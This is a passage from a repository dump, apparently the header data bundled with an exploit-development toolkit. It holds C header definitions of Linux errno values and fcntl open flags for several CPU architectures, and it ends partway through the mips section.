((EHWPOISON) + 1)\n\n#elif defined(__sparc__)\n\n#define EPERM\t\t 1\t/* Operation not permitted */\n#define ENOENT\t\t 2\t/* No such file or directory */\n#define ESRCH\t\t 3\t/* No such process */\n#define EINTR\t\t 4\t/* Interrupted system call */\n#define EIO\t\t 5\t/* I/O error */\n#define ENXIO\t\t 6\t/* No such device or address */\n#define E2BIG\t\t 7\t/* Arg list too long */\n#define ENOEXEC\t\t 8\t/* Exec format error */\n#define EBADF\t\t 9\t/* Bad file number */\n#define ECHILD\t\t10\t/* No child processes */\n#define EAGAIN\t\t11\t/* Try again */\n#define ENOMEM\t\t12\t/* Out of memory */\n#define EACCES\t\t13\t/* Permission denied */\n#define EFAULT\t\t14\t/* Bad address */\n#define ENOTBLK\t\t15\t/* Block device required */\n#define EBUSY\t\t16\t/* Device or resource busy */\n#define EEXIST\t\t17\t/* File exists */\n#define EXDEV\t\t18\t/* Cross-device link */\n#define ENODEV\t\t19\t/* No such device */\n#define ENOTDIR\t\t20\t/* Not a directory */\n#define EISDIR\t\t21\t/* Is a directory */\n#define EINVAL\t\t22\t/* Invalid argument */\n#define ENFILE\t\t23\t/* File table overflow */\n#define EMFILE\t\t24\t/* Too many open files */\n#define ENOTTY\t\t25\t/* Not a typewriter */\n#define ETXTBSY\t\t26\t/* Text file busy */\n#define EFBIG\t\t27\t/* File too large */\n#define ENOSPC\t\t28\t/* No space left on device */\n#define ESPIPE\t\t29\t/* Illegal seek */\n#define EROFS\t\t30\t/* Read-only file system */\n#define EMLINK\t\t31\t/* Too many links */\n#define EPIPE\t\t32\t/* Broken pipe */\n#define EDOM\t\t33\t/* Math argument out of domain of func */\n#define ERANGE\t\t34\t/* Math result not representable */\n#define EWOULDBLOCK\tEAGAIN\t/* Operation would block */\n#define EINPROGRESS\t36\t/* Operation now in progress */\n#define EALREADY\t37\t/* Operation already in progress */\n#define ENOTSOCK\t38\t/* Socket operation on non-socket */\n#define EDESTADDRREQ\t39\t/* Destination address required */\n#define EMSGSIZE\t40\t/* Message too long */\n#define EPROTOTYPE\t41\t/* Protocol wrong type for socket */\n#define ENOPROTOOPT\t42\t/* Protocol not available */\n#define EPROTONOSUPPORT\t43\t/* Protocol not supported */\n#define ESOCKTNOSUPPORT\t44\t/* Socket type not supported */\n#define EOPNOTSUPP\t45\t/* Op not supported on transport endpoint */\n#define ENOTSUP\t\tEOPNOTSUPP/* Operation not supported on transport endpoint */\n#define EPFNOSUPPORT\t46\t/* Protocol family not supported */\n#define EAFNOSUPPORT\t47\t/* Address family not supported by protocol */\n#define EADDRINUSE\t48\t/* Address already in use */\n#define EADDRNOTAVAIL\t49\t/* Cannot assign requested address */\n#define ENETDOWN\t50\t/* Network is down */\n#define ENETUNREACH\t51\t/* Network is unreachable */\n#define ENETRESET\t52\t/* Net dropped connection because of reset */\n#define ECONNABORTED\t53\t/* Software caused connection abort */\n#define ECONNRESET\t54\t/* Connection reset by peer */\n#define ENOBUFS\t\t55\t/* No buffer space available */\n#define EISCONN\t\t56\t/* Transport endpoint is already connected */\n#define ENOTCONN\t57\t/* Transport endpoint is not connected */\n#define ESHUTDOWN\t58\t/* No send after transport endpoint shutdown */\n#define ETOOMANYREFS\t59\t/* Too many references: cannot splice */\n#define ETIMEDOUT\t60\t/* Connection timed out */\n#define ECONNREFUSED\t61\t/* Connection refused */\n#define ELOOP\t\t62\t/* Too many symbolic links encountered */\n#define ENAMETOOLONG\t63\t/* File name too long */\n#define EHOSTDOWN\t64\t/* Host is down */\n#define EHOSTUNREACH\t65\t/* No route to host */\n#define ENOTEMPTY\t66\t/* Directory not empty */\n#define EPROCLIM\t67\t/* SUNOS: Too many processes */\n#define EUSERS\t\t68\t/* Too many users */\n#define EDQUOT\t\t69\t/* Quota exceeded */\n#define ESTALE\t\t70\t/* Stale NFS file handle */\n#define EREMOTE\t\t71\t/* Object is remote */\n#define ENOSTR\t\t72\t/* Device not a stream */\n#define ETIME\t\t73\t/* Timer expired */\n#define ENOSR\t\t74\t/* Out of streams resources */\n#define ENOMSG\t\t75\t/* No message of desired type */\n#define EBADMSG\t\t76\t/* Not a data message */\n#define EIDRM\t\t77\t/* Identifier removed */\n#define EDEADLK\t\t78\t/* Resource deadlock would occur */\n#define ENOLCK\t\t79\t/* No record locks available */\n#define ENONET\t\t80\t/* Machine is not on the network */\n#define ERREMOTE\t81\t/* SunOS: Too many lvls of remote in path */\n#define ENOLINK\t\t82\t/* Link has been severed */\n#define EADV\t\t83\t/* Advertise error */\n#define ESRMNT\t\t84\t/* Srmount error */\n#define ECOMM\t\t85\t/* Communication error on send */\n#define EPROTO\t\t86\t/* Protocol error */\n#define EMULTIHOP\t87\t/* Multihop attempted */\n#define EDOTDOT\t\t88\t/* RFS specific error */\n#define EREMCHG\t\t89\t/* Remote address changed */\n#define ENOSYS\t\t90\t/* Function not implemented */\n#define ESTRPIPE\t91\t/* Streams pipe error */\n#define EOVERFLOW\t92\t/* Value too large for defined data type */\n#define EBADFD\t\t93\t/* File descriptor in bad state */\n#define ECHRNG\t\t94\t/* Channel number out of range */\n#define EL2NSYNC\t95\t/* Level 2 not synchronized */\n#define EL3HLT\t\t96\t/* Level 3 halted */\n#define EL3RST\t\t97\t/* Level 3 reset */\n#define ELNRNG\t\t98\t/* Link number out of range */\n#define EUNATCH\t\t99\t/* Protocol driver not attached */\n#define ENOCSI\t\t100\t/* No CSI structure available */\n#define EL2HLT\t\t101\t/* Level 2 halted */\n#define EBADE\t\t102\t/* Invalid exchange */\n#define EBADR\t\t103\t/* Invalid request descriptor */\n#define EXFULL\t\t104\t/* Exchange full */\n#define ENOANO\t\t105\t/* No anode */\n#define EBADRQC\t\t106\t/* Invalid request code */\n#define EBADSLT\t\t107\t/* Invalid slot */\n#define EDEADLOCK\t108\t/* File locking deadlock error */\n#define EBFONT\t\t109\t/* Bad font file format */\n#define ELIBEXEC\t110\t/* Cannot exec a shared library directly */\n#define ENODATA\t\t111\t/* No data available */\n#define ELIBBAD\t\t112\t/* Accessing a corrupted shared library */\n#define ENOPKG\t\t113\t/* Package not installed */\n#define ELIBACC\t\t114\t/* Can not access a needed shared library */\n#define ENOTUNIQ\t115\t/* Name not unique on network */\n#define ERESTART\t116\t/* Interrupted syscall should be restarted */\n#define EUCLEAN\t\t117\t/* Structure needs cleaning */\n#define ENOTNAM\t\t118\t/* Not a XENIX named type file */\n#define ENAVAIL\t\t119\t/* No XENIX semaphores available */\n#define EISNAM\t\t120\t/* Is a named type file */\n#define EREMOTEIO\t121\t/* Remote I/O error */\n#define EILSEQ\t\t122\t/* Illegal byte sequence */\n#define ELIBMAX\t\t123\t/* Atmpt to link in too many shared libs */\n#define ELIBSCN\t\t124\t/* .lib section in a.out corrupted */\n#define ENOMEDIUM\t125\t/* No medium found */\n#define EMEDIUMTYPE\t126\t/* Wrong medium type */\n#define\tECANCELED\t127\t/* Operation Cancelled */\n#define\tENOKEY\t\t128\t/* Required key not available */\n#define\tEKEYEXPIRED\t129\t/* Key has expired */\n#define\tEKEYREVOKED\t130\t/* Key has been revoked */\n#define\tEKEYREJECTED\t131\t/* Key was rejected by service */\n\n/* for robust mutexes */\n#define\tEOWNERDEAD\t132\t/* Owner died */\n#define\tENOTRECOVERABLE\t133\t/* State not recoverable */\n\n#define\tERFKILL\t\t134\t/* Operation not possible due to RF-kill */\n\n#define EHWPOISON\t135\t/* Memory page has hardware error */\n\n#define __SYS_NERR  ((EHWPOISON) + 1)\n\n#elif defined(__hppa__)\n\n#define\tEPERM\t\t 1\t/* Operation not permitted */\n#define\tENOENT\t\t 2\t/* No such file or directory */\n#define\tESRCH\t\t 3\t/* No such process */\n#define\tEINTR\t\t 4\t/* Interrupted system call */\n#define\tEIO\t\t 5\t/* I/O error */\n#define\tENXIO\t\t 6\t/* No such device or address */\n#define\tE2BIG\t\t 7\t/* Argument list too long */\n#define\tENOEXEC\t\t 8\t/* Exec format error */\n#define\tEBADF\t\t 9\t/* Bad file number */\n#define\tECHILD\t\t10\t/* No child processes */\n#define\tEAGAIN\t\t11\t/* Try again */\n#define\tENOMEM\t\t12\t/* Out of memory */\n#define\tEACCES\t\t13\t/* Permission denied */\n#define\tEFAULT\t\t14\t/* Bad address */\n#define\tENOTBLK\t\t15\t/* Block device required */\n#define\tEBUSY\t\t16\t/* Device or resource busy */\n#define\tEEXIST\t\t17\t/* File exists */\n#define\tEXDEV\t\t18\t/* Cross-device link */\n#define\tENODEV\t\t19\t/* No such device */\n#define\tENOTDIR\t\t20\t/* Not a directory */\n#define\tEISDIR\t\t21\t/* Is a directory */\n#define\tEINVAL\t\t22\t/* Invalid argument */\n#define\tENFILE\t\t23\t/* File table overflow */\n#define\tEMFILE\t\t24\t/* Too many open files */\n#define\tENOTTY\t\t25\t/* Not a typewriter */\n#define\tETXTBSY\t\t26\t/* Text file busy */\n#define\tEFBIG\t\t27\t/* File too large */\n#define\tENOSPC\t\t28\t/* No space left on device */\n#define\tESPIPE\t\t29\t/* Illegal seek */\n#define\tEROFS\t\t30\t/* Read-only file system */\n#define\tEMLINK\t\t31\t/* Too many links */\n#define\tEPIPE\t\t32\t/* Broken pipe */\n#define\tEDOM\t\t33\t/* Math argument out of domain of func */\n#define\tERANGE\t\t34\t/* Math result not representable */\n#define\tENOMSG\t\t35\t/* No message of desired type */\n#define\tEIDRM\t\t36\t/* Identifier removed */\n#define\tECHRNG\t\t37\t/* Channel number out of range */\n#define\tEL2NSYNC\t38\t/* Level 2 not synchronized */\n#define\tEL3HLT\t\t39\t/* Level 3 halted */\n#define\tEL3RST\t\t40\t/* Level 3 reset */\n#define\tELNRNG\t\t41\t/* Link number out of range */\n#define\tEUNATCH\t\t42\t/* Protocol driver not attached */\n#define\tENOCSI\t\t43\t/* No CSI structure available */\n#define\tEL2HLT\t\t44\t/* Level 2 halted */\n#define\tEDEADLK\t\t45\t/* Resource deadlock would occur */\n#define\tEDEADLOCK\tEDEADLK\n#define\tENOLCK\t\t46\t/* No record locks available */\n#define\tEILSEQ\t\t47\t/* Illegal byte sequence */\n\n#define\tENONET\t\t50\t/* Machine is not on the network */\n#define\tENODATA\t\t51\t/* No data available */\n#define\tETIME\t\t52\t/* Timer expired */\n#define\tENOSR\t\t53\t/* Out of streams resources */\n#define\tENOSTR\t\t54\t/* Device not a stream */\n#define\tENOPKG\t\t55\t/* Package not installed */\n\n#define\tENOLINK\t\t57\t/* Link has been severed */\n#define\tEADV\t\t58\t/* Advertise error */\n#define\tESRMNT\t\t59\t/* Srmount error */\n#define\tECOMM\t\t60\t/* Communication error on send */\n#define\tEPROTO\t\t61\t/* Protocol error */\n\n#define\tEMULTIHOP\t64\t/* Multihop attempted */\n\n#define\tEDOTDOT\t\t66\t/* RFS specific error */\n#define\tEBADMSG\t\t67\t/* Not a data message */\n#define\tEUSERS\t\t68\t/* Too many users */\n#define\tEDQUOT\t\t69\t/* Quota exceeded */\n#define\tESTALE\t\t70\t/* Stale NFS file handle */\n#define\tEREMOTE\t\t71\t/* Object is remote */\n#define\tEOVERFLOW\t72\t/* Value too large for defined data type */\n\n/* these errnos are defined by Linux but not HPUX. */\n\n#define\tEBADE\t\t160\t/* Invalid exchange */\n#define\tEBADR\t\t161\t/* Invalid request descriptor */\n#define\tEXFULL\t\t162\t/* Exchange full */\n#define\tENOANO\t\t163\t/* No anode */\n#define\tEBADRQC\t\t164\t/* Invalid request code */\n#define\tEBADSLT\t\t165\t/* Invalid slot */\n#define\tEBFONT\t\t166\t/* Bad font file format */\n#define\tENOTUNIQ\t167\t/* Name not unique on network */\n#define\tEBADFD\t\t168\t/* File descriptor in bad state */\n#define\tEREMCHG\t\t169\t/* Remote address changed */\n#define\tELIBACC\t\t170\t/* Can not access a needed shared library */\n#define\tELIBBAD\t\t171\t/* Accessing a corrupted shared library */\n#define\tELIBSCN\t\t172\t/* .lib section in a.out corrupted */\n#define\tELIBMAX\t\t173\t/* Attempting to link in too many shared libraries */\n#define\tELIBEXEC\t174\t/* Cannot exec a shared library directly */\n#define\tERESTART\t175\t/* Interrupted system call should be restarted */\n#define\tESTRPIPE\t176\t/* Streams pipe error */\n#define\tEUCLEAN\t\t177\t/* Structure needs cleaning */\n#define\tENOTNAM\t\t178\t/* Not a XENIX named type file */\n#define\tENAVAIL\t\t179\t/* No XENIX semaphores available */\n#define\tEISNAM\t\t180\t/* Is a named type file */\n#define\tEREMOTEIO\t181\t/* Remote I/O error */\n#define\tENOMEDIUM\t182\t/* No medium found */\n#define\tEMEDIUMTYPE\t183\t/* Wrong medium type */\n#define\tENOKEY\t\t184\t/* Required key not available */\n#define\tEKEYEXPIRED\t185\t/* Key has expired */\n#define\tEKEYREVOKED\t186\t/* Key has been revoked */\n#define\tEKEYREJECTED\t187\t/* Key was rejected by service */\n\n/* We now return you to your regularly scheduled HPUX. */\n\n#define ENOSYM\t\t215\t/* symbol does not exist in executable */\n#define\tENOTSOCK\t216\t/* Socket operation on non-socket */\n#define\tEDESTADDRREQ\t217\t/* Destination address required */\n#define\tEMSGSIZE\t218\t/* Message too long */\n#define\tEPROTOTYPE\t219\t/* Protocol wrong type for socket */\n#define\tENOPROTOOPT\t220\t/* Protocol not available */\n#define\tEPROTONOSUPPORT\t221\t/* Protocol not supported */\n#define\tESOCKTNOSUPPORT\t222\t/* Socket type not supported */\n#define\tEOPNOTSUPP\t223\t/* Operation not supported on transport endpoint */\n#define\tEPFNOSUPPORT\t224\t/* Protocol family not supported */\n#define\tEAFNOSUPPORT\t225\t/* Address family not supported by protocol */\n#define\tEADDRINUSE\t226\t/* Address already in use */\n#define\tEADDRNOTAVAIL\t227\t/* Cannot assign requested address */\n#define\tENETDOWN\t228\t/* Network is down */\n#define\tENETUNREACH\t229\t/* Network is unreachable */\n#define\tENETRESET\t230\t/* Network dropped connection because of reset */\n#define\tECONNABORTED\t231\t/* Software caused connection abort */\n#define\tECONNRESET\t232\t/* Connection reset by peer */\n#define\tENOBUFS\t\t233\t/* No buffer space available */\n#define\tEISCONN\t\t234\t/* Transport endpoint is already connected */\n#define\tENOTCONN\t235\t/* Transport endpoint is not connected */\n#define\tESHUTDOWN\t236\t/* Cannot send after transport endpoint shutdown */\n#define\tETOOMANYREFS\t237\t/* Too many references: cannot splice */\n#define EREFUSED\tECONNREFUSED\t/* for HP's NFS apparently */\n#define\tETIMEDOUT\t238\t/* Connection timed out */\n#define\tECONNREFUSED\t239\t/* Connection refused */\n#define EREMOTERELEASE\t240\t/* Remote peer released connection */\n#define\tEHOSTDOWN\t241\t/* Host is down */\n#define\tEHOSTUNREACH\t242\t/* No route to host */\n\n#define\tEALREADY\t244\t/* Operation already in progress */\n#define\tEINPROGRESS\t245\t/* Operation now in progress */\n#define\tEWOULDBLOCK\tEAGAIN\t/* Operation would block (Linux returns EAGAIN) */\n#define\tENOTEMPTY\t247\t/* Directory not empty */\n#define\tENAMETOOLONG\t248\t/* File name too long */\n#define\tELOOP\t\t249\t/* Too many symbolic links encountered */\n#define\tENOSYS\t\t251\t/* Function not implemented */\n\n#define ENOTSUP\t\t252\t/* Function not implemented (POSIX.4 / HPUX) */\n#define ECANCELLED\t253\t/* aio request was canceled before complete (POSIX.4 / HPUX) */\n\n/* for robust mutexes */\n#define EOWNERDEAD\t254\t/* Owner died */\n#define ENOTRECOVERABLE\t255\t/* State not recoverable */\n\n#define\tERFKILL\t\t256\t/* Operation not possible due to RF-kill */\n\n#define EHWPOISON\t257\t/* Memory page has hardware error */\n\n#define __SYS_NERR  ((EHWPOISON) + 1)\n\n#else\n\n/* i386, arm, aarch64, ppc, x86_64, ia64 */\n\n#define EPERM\t\t 1\t/* Operation not permitted */\n#define ENOENT\t\t 2\t/* No such file or directory */\n#define ESRCH\t\t 3\t/* No such process */\n#define EINTR\t\t 4\t/* Interrupted system call */\n#define EIO\t\t 5\t/* I/O error */\n#define ENXIO\t\t 6\t/* No such device or address */\n#define E2BIG\t\t 7\t/* Arg list too long */\n#define ENOEXEC\t\t 8\t/* Exec format error */\n#define EBADF\t\t 9\t/* Bad file number */\n#define ECHILD\t\t10\t/* No child processes */\n#define EAGAIN\t\t11\t/* Try again */\n#define ENOMEM\t\t12\t/* Out of memory */\n#define EACCES\t\t13\t/* Permission denied */\n#define EFAULT\t\t14\t/* Bad address */\n#define ENOTBLK\t\t15\t/* Block device required */\n#define EBUSY\t\t16\t/* Device or resource busy */\n#define EEXIST\t\t17\t/* File exists */\n#define EXDEV\t\t18\t/* Cross-device link */\n#define ENODEV\t\t19\t/* No such device */\n#define ENOTDIR\t\t20\t/* Not a directory */\n#define EISDIR\t\t21\t/* Is a directory */\n#define EINVAL\t\t22\t/* Invalid argument */\n#define ENFILE\t\t23\t/* File table overflow */\n#define EMFILE\t\t24\t/* Too many open files */\n#define ENOTTY\t\t25\t/* Not a typewriter */\n#define ETXTBSY\t\t26\t/* Text file busy */\n#define EFBIG\t\t27\t/* File too large */\n#define ENOSPC\t\t28\t/* No space left on device */\n#define ESPIPE\t\t29\t/* Illegal seek */\n#define EROFS\t\t30\t/* Read-only file system */\n#define EMLINK\t\t31\t/* Too many links */\n#define EPIPE\t\t32\t/* Broken pipe */\n#define EDOM\t\t33\t/* Math argument out of domain of func */\n#define ERANGE\t\t34\t/* Math result not representable */\n#define EDEADLK\t\t35\t/* Resource deadlock would occur */\n#define ENAMETOOLONG\t36\t/* File name too long */\n#define ENOLCK\t\t37\t/* No record locks available */\n#define ENOSYS\t\t38\t/* Function not implemented */\n#define ENOTEMPTY\t39\t/* Directory not empty */\n#define ELOOP\t\t40\t/* Too many symbolic links encountered */\n#define EWOULDBLOCK\tEAGAIN\t/* Operation would block */\n#define ENOMSG\t\t42\t/* No message of desired type */\n#define EIDRM\t\t43\t/* Identifier removed */\n#define ECHRNG\t\t44\t/* Channel number out of range */\n#define EL2NSYNC\t45\t/* Level 2 not synchronized */\n#define EL3HLT\t\t46\t/* Level 3 halted */\n#define EL3RST\t\t47\t/* Level 3 reset */\n#define ELNRNG\t\t48\t/* Link number out of range */\n#define EUNATCH\t\t49\t/* Protocol driver not attached */\n#define ENOCSI\t\t50\t/* No CSI structure available */\n#define EL2HLT\t\t51\t/* Level 2 halted */\n#define EBADE\t\t52\t/* Invalid exchange */\n#define EBADR\t\t53\t/* Invalid request descriptor */\n#define EXFULL\t\t54\t/* Exchange full */\n#define ENOANO\t\t55\t/* No anode */\n#define EBADRQC\t\t56\t/* Invalid request code */\n#define EBADSLT\t\t57\t/* Invalid slot */\n#define EDEADLOCK\tEDEADLK\n#define EBFONT\t\t59\t/* Bad font file format */\n#define ENOSTR\t\t60\t/* Device not a stream */\n#define ENODATA\t\t61\t/* No data available */\n#define ETIME\t\t62\t/* Timer expired */\n#define ENOSR\t\t63\t/* Out of streams resources */\n#define ENONET\t\t64\t/* Machine is not on the network */\n#define ENOPKG\t\t65\t/* Package not installed */\n#define EREMOTE\t\t66\t/* Object is remote */\n#define ENOLINK\t\t67\t/* Link has been severed */\n#define EADV\t\t68\t/* Advertise error */\n#define ESRMNT\t\t69\t/* Srmount error */\n#define ECOMM\t\t70\t/* Communication error on send */\n#define EPROTO\t\t71\t/* Protocol error */\n#define EMULTIHOP\t72\t/* Multihop attempted */\n#define EDOTDOT\t\t73\t/* RFS specific error */\n#define EBADMSG\t\t74\t/* Not a data message */\n#define EOVERFLOW\t75\t/* Value too large for defined data type */\n#define ENOTUNIQ\t76\t/* Name not unique on network */\n#define EBADFD\t\t77\t/* File descriptor in bad state */\n#define EREMCHG\t\t78\t/* Remote address changed */\n#define ELIBACC\t\t79\t/* Can not access a needed shared library */\n#define ELIBBAD\t\t80\t/* Accessing a corrupted shared library */\n#define ELIBSCN\t\t81\t/* .lib section in a.out corrupted */\n#define ELIBMAX\t\t82\t/* Attempting to link in too many shared libraries */\n#define ELIBEXEC\t83\t/* Cannot exec a shared library directly */\n#define EILSEQ\t\t84\t/* Illegal byte sequence */\n#define ERESTART\t85\t/* Interrupted system call should be restarted */\n#define ESTRPIPE\t86\t/* Streams pipe error */\n#define EUSERS\t\t87\t/* Too many users */\n#define ENOTSOCK\t88\t/* Socket operation on non-socket */\n#define EDESTADDRREQ\t89\t/* Destination address required */\n#define EMSGSIZE\t90\t/* Message too long */\n#define EPROTOTYPE\t91\t/* Protocol wrong type for socket */\n#define ENOPROTOOPT\t92\t/* Protocol not available */\n#define EPROTONOSUPPORT\t93\t/* Protocol not supported */\n#define ESOCKTNOSUPPORT\t94\t/* Socket type not supported */\n#define EOPNOTSUPP\t95\t/* Operation not supported on transport endpoint */\n#define ENOTSUP\t\tEOPNOTSUPP/* Operation not supported on transport endpoint */\n#define EPFNOSUPPORT\t96\t/* Protocol family not supported */\n#define EAFNOSUPPORT\t97\t/* Address family not supported by protocol */\n#define EADDRINUSE\t98\t/* Address already in use */\n#define EADDRNOTAVAIL\t99\t/* Cannot assign requested address */\n#define ENETDOWN\t100\t/* Network is down */\n#define ENETUNREACH\t101\t/* Network is unreachable */\n#define ENETRESET\t102\t/* Network dropped connection because of reset */\n#define ECONNABORTED\t103\t/* Software caused connection abort */\n#define ECONNRESET\t104\t/* Connection reset by peer */\n#define ENOBUFS\t\t105\t/* No buffer space available */\n#define EISCONN\t\t106\t/* Transport endpoint is already connected */\n#define ENOTCONN\t107\t/* Transport endpoint is not connected */\n#define ESHUTDOWN\t108\t/* Cannot send after transport endpoint shutdown */\n#define ETOOMANYREFS\t109\t/* Too many references: cannot splice */\n#define ETIMEDOUT\t110\t/* Connection timed out */\n#define ECONNREFUSED\t111\t/* Connection refused */\n#define EHOSTDOWN\t112\t/* Host is down */\n#define EHOSTUNREACH\t113\t/* No route to host */\n#define EALREADY\t114\t/* Operation already in progress */\n#define EINPROGRESS\t115\t/* Operation now in progress */\n#define ESTALE\t\t116\t/* Stale NFS file handle */\n#define EUCLEAN\t\t117\t/* Structure needs cleaning */\n#define ENOTNAM\t\t118\t/* Not a XENIX named type file */\n#define ENAVAIL\t\t119\t/* No XENIX semaphores available */\n#define EISNAM\t\t120\t/* Is a named type file */\n#define EREMOTEIO\t121\t/* Remote I/O error */\n#define EDQUOT\t\t122\t/* Quota exceeded */\n#define ENOMEDIUM\t123\t/* No medium found */\n#define EMEDIUMTYPE\t124\t/* Wrong medium type */\n#define\tECANCELED\t125\t/* Operation Canceled */\n#define\tENOKEY\t\t126\t/* Required key not available */\n#define\tEKEYEXPIRED\t127\t/* Key has expired */\n#define\tEKEYREVOKED\t128\t/* Key has been revoked */\n#define\tEKEYREJECTED\t129\t/* Key was rejected by service */\n\n/* for robust mutexes */\n#define\tEOWNERDEAD\t130\t/* Owner died */\n#define\tENOTRECOVERABLE\t131\t/* State not recoverable */\n\n#define ERFKILL\t\t132\t/* Operation not possible due to RF-kill */\n\n#define EHWPOISON\t133\t/* Memory page has hardware error */\n\n#define __SYS_NERR  ((EHWPOISON) + 1)\n#endif\n\n#ifndef __ASSEMBLER__\n\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\n\n// #include <errno_definition.h>\n\nextern int *__errno_location(void);\n\n#define errno (*__errno_location())\n\n#define __set_errno(x) errno=(x)\n\n#ifdef _BSD_SOURCE\n/* don't use, use strerror() instead! */\nextern const char *const sys_errlist[] __attribute_dontuse__;\nextern int sys_nerr __attribute_dontuse__;\n#endif\n\n#ifdef _GNU_SOURCE\nextern char* program_invocation_name __attribute_dontuse__;\nextern char* program_invocation_short_name __attribute_dontuse__;\n#endif\n\n__END_DECLS\n\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/fcntl.h",
    "content": "#ifndef _FCNTL_H\n#define _FCNTL_H\n\n#include <sys/cdefs.h>\n\n#include <endian.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/stat.h>\n#include <sys/uio.h>\n\n__BEGIN_DECLS\n\n#define F_LINUX_SPECIFIC_BASE\t1024\n\n#if defined(__i386__) || defined(__s390__) || defined(__x86_64__) || defined(__ia64__)\n\n#define O_ACCMODE\t   0003\n#define O_RDONLY\t     00\n#define O_WRONLY\t     01\n#define O_RDWR\t\t     02\n#define O_CREAT\t\t   0100\t/* not fcntl */\n#define O_EXCL\t\t   0200\t/* not fcntl */\n#define O_NOCTTY\t   0400\t/* not fcntl */\n#define O_TRUNC\t\t  01000\t/* not fcntl */\n#define O_APPEND\t  02000\n#define O_NONBLOCK\t  04000\n#define O_NDELAY\tO_NONBLOCK\n#define O_DSYNC\t\t 010000\n#define FASYNC\t\t 020000\t/* fcntl, for BSD compatibility */\n#define O_DIRECT\t 040000\t/* direct disk access hint - currently ignored */\n#define O_LARGEFILE\t0100000\n#define O_DIRECTORY\t0200000\t/* must be a directory */\n#define O_NOFOLLOW\t0400000 /* don't follow links */\n#define O_NOATIME\t01000000\n#define O_CLOEXEC\t02000000\n#define O_SYNC\t\t(O_DSYNC|04000000)\n#define O_PATH\t\t010000000\n#define __O_TMPFILE\t020000000\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4\t/* set file->f_flags */\n#define F_GETLK\t\t5\n#define F_SETLK\t\t6\n#define F_SETLKW\t7\n#define F_SETOWN\t8\t/*  for sockets. */\n#define F_GETOWN\t9\t/*  for sockets. */\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n#define F_GETLK64\t12\t/*  using 'struct flock64' */\n#define F_SETLK64\t13\n#define F_SETLKW64\t14\n\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t0\n#define F_WRLCK\t\t1\n#define F_UNLCK\t\t2\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t4\t/* or 3 */\n#define F_SHLCK\t\t8\t/* or 4 */\n\n/* for leases */\n#define F_INPROGRESS\t16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n\n#define LOCK_MAND\t32\t/* This is a mandatory flock */\n#define LOCK_READ\t64\t/* ... Which allows concurrent read operations */\n#define LOCK_WRITE\t128\t/* ... Which allows concurrent write operations */\n#define LOCK_RW\t\t192\t/* ... Which allows concurrent read & write ops */\n\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n};\n\nstruct flock64 {\n  int16_t l_type;\n  int16_t l_whence;\n  loff_t l_start;\n  loff_t l_len;\n  pid_t  l_pid;\n};\n\n#elif defined(__alpha__)\n\n#define O_ACCMODE\t  0003\n#define O_RDONLY\t    00\n#define O_WRONLY\t    01\n#define O_RDWR\t\t    02\n#define O_CREAT\t\t 01000\t/* not fcntl */\n#define O_TRUNC\t\t 02000\t/* not fcntl */\n#define O_EXCL\t\t 04000\t/* not fcntl */\n#define O_NOCTTY\t010000\t/* not fcntl */\n\n#define O_NONBLOCK\t 00004\n#define O_APPEND\t 00010\n#define O_NDELAY\tO_NONBLOCK\n#define O_DSYNC\t\t040000\n#define FASYNC\t\t020000\t/* fcntl, for BSD compatibility */\n#define O_DIRECTORY\t0100000\t/* must be a directory */\n#define O_NOFOLLOW\t0200000 /* don't follow links */\n#define O_LARGEFILE\t0400000 /* will be set by the kernel on every open */\n#define O_DIRECT\t02000000\t/* direct disk access - should check with OSF/1 */\n#define O_NOATIME\t04000000\n#define O_CLOEXEC\t010000000\n#define O_SYNC\t\t(020000000|O_DSYNC)\n#define O_PATH\t\t040000000\n#define __O_TMPFILE\t0100000000\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4       /* set file->f_flags */\n#define F_GETLK\t\t7\n#define F_SETLK\t\t8\n#define F_SETLKW\t9\n\n#define F_SETOWN\t5\t/*  for sockets. */\n#define F_GETOWN\t6\t/*  for sockets. */\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n/* for F_[GET|SET]FL */\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t1\n#define F_WRLCK\t\t2\n#define F_UNLCK\t\t8\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t16\t/* or 3 */\n#define F_SHLCK\t\t32\t/* or 4 */\n\n#define F_INPROGRESS\t64\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n#define LOCK_MAND      32      /* This is a mandatory flock */\n#define LOCK_READ      64      /* ... Which allows concurrent read operations */\n#define LOCK_WRITE     128     /* ... Which allows concurrent write operations */\n#define LOCK_RW        192     /* ... Which allows concurrent read & write ops */\n\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n};\n\n#elif defined(__mips__)\n\n#define O_ACCMODE\t0x0003\n#define O_RDONLY\t0x0000\n#define O_WRONLY\t0x0001\n#define O_RDWR\t\t0x0002\n#define O_APPEND\t0x0008\n#define O_DSYNC\t\t0x0010\n#define 